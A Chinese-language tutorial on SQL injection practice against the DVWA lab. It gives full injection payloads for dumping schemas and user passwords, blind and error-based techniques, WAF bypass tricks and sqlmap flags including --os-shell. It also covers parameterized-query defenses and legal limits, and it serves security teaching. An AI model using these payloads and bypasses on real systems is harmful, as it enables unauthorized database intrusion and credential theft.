资讯动态

SQL注入攻防实战:从原理到DVWA靶场演练

发布时间:2026/10/26 5:41:46 来源:尧图企业网站定制
1. SQL注入基础认知与靶场搭建SQL注入作为Web安全领域的经典漏洞类型至今仍是渗透测试中最常见的攻击手段之一。我第一次接触SQL注入是在2013年审计一个电商网站时发现搜索框直接拼接SQL语句导致可以查询任意用户数据。这种漏洞的本质是开发者将用户输入直接拼接到SQL查询语句中使得攻击者能够通过构造特殊输入来改变原SQL语句的逻辑结构。1.1 漏洞原理深度解析SQL注入的核心在于用户输入数据与代码指令的混淆。正常情况下的登录查询可能是SELECT * FROM users WHERE usernameadmin AND password123456但当攻击者输入admin--作为用户名时查询就变成了SELECT * FROM users WHERE usernameadmin-- AND password...--在SQL中表示注释这使得密码验证被完全绕过。更危险的攻击是使用 OR 11--这将返回所有用户记录。关键点任何将用户输入直接拼接到SQL语句中的地方都可能存在注入点包括GET/POST参数、Cookie、HTTP头等。1.2 DVWA靶场环境搭建DVWA(Damn Vulnerable Web Application)是最适合新手练习的Web漏洞靶场。在Kali Linux中安装只需三步安装LAMP环境sudo apt update sudo apt install -y apache2 mariadb-server php libapache2-mod-php下载配置DVWAcd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA sudo cp DVWA/config/config.inc.php.dist DVWA/config/config.inc.php初始化数据库sudo mysql -u root create database dvwa; grant all on dvwa.* to dvwalocalhost identified by pssw0rd; flush privileges;访问http://localhost/DVWA默认账号admin/password。务必在DVWA Security中将安全级别设为Low进行练习。2. 手动注入实战全流程2.1 注入点探测与信息收集以DVWA的SQL Injection模块为例典型的探测流程输入单引号测试1如果报错则可能存在注入判断字段数1 order by 2--逐步增加数字直到报错确定回显位1 union select 1,2--查看哪些数字显示在页面获取数据库信息1 union select database(),version()--我在实际测试中发现几个关键点MySQL的information_schema数据库存储了所有元数据group_concat()函数可以合并多行结果使用hex()编码可以绕过某些过滤2.2 完整手动脱库步骤假设我们已经确定有3个回显位以下是系统化的脱库流程获取所有数据库名1 union select 1,group_concat(schema_name),3 from information_schema.schemata--获取指定库的所有表名以dvwa库为例1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadvwa--获取表结构例如users表1 union select 1,group_concat(column_name),3 from information_schema.columns where table_nameusers--最终提取数据1 union select 1,concat(user,|,password),3 from dvwa.users--经验之谈真实环境中一定要使用时间延迟函数sleep(5)进行盲注测试因为很多情况下错误不回显。3. 高阶注入技术与绕过技巧3.1 布尔盲注实战当页面没有明显回显时布尔盲注是有效手段。以判断数据库用户第一个字符为例1 and ascii(substring(user(),1,1))100--通过不断调整比较值可以逐字符推断出完整信息。手工操作极其耗时但理解原理很重要。3.2 报错注入利用利用数据库的报错机制泄露信息MySQL中常用的技术1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)--或者1 and extractvalue(1,concat(0x7e,(select database())))--3.3 WAF绕过技巧现代Web应用通常部署了WAF常见绕过方法大小写混写SeLeCt代替select注释分割SEL/*xxx*/ECT编码转换CHAR(115,101,108,101,99,116)等价函数替换mid()代替substring()我曾在测试中发现一个有趣案例某WAF只过滤了union select但没过滤union all select。4. 防御措施与法律风险4.1 开发层面的防护参数化查询最佳实践$stmt $pdo-prepare(SELECT * FROM users WHERE id ?); $stmt-execute([$id]);输入验证白名单验证如只允许数字类型强制转换(int)$input最小权限原则数据库用户只授予必要权限禁止使用SA账号连接4.2 法律与道德边界必须强调未经授权的测试属于违法行为所有练习应在自己搭建的靶场进行企业测试必须获得书面授权我曾协助处理过一个案例某实习生在内网测试SQL注入导致数据泄露最终被追究法律责任。5. 自动化工具与进阶学习5.1 SQLMap基础使用虽然手动注入很重要但实际工作中会使用sqlmap提高效率。基本命令sqlmap -u http://target.com/page?id1 --dbs关键参数--risk3提高风险等级--level5增加测试强度--os-shell尝试获取系统shell5.2 推荐学习路径基础OWASP SQL注入指南SQLi Labs靶场进阶Web Security Academy (PortSwigger)CTF比赛中的SQL注入挑战专业认证OSCP中的Web攻击模块OSWE专项认证我建议的学习方法是先手动理解原理 → 用DVWA练习 → 尝试CTF题目 → 最后学习自动化工具。这个过程中保持写笔记的习惯非常重要我至今还保留着2014年的注入笔记里面记录了大量特殊场景的绕过方法。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑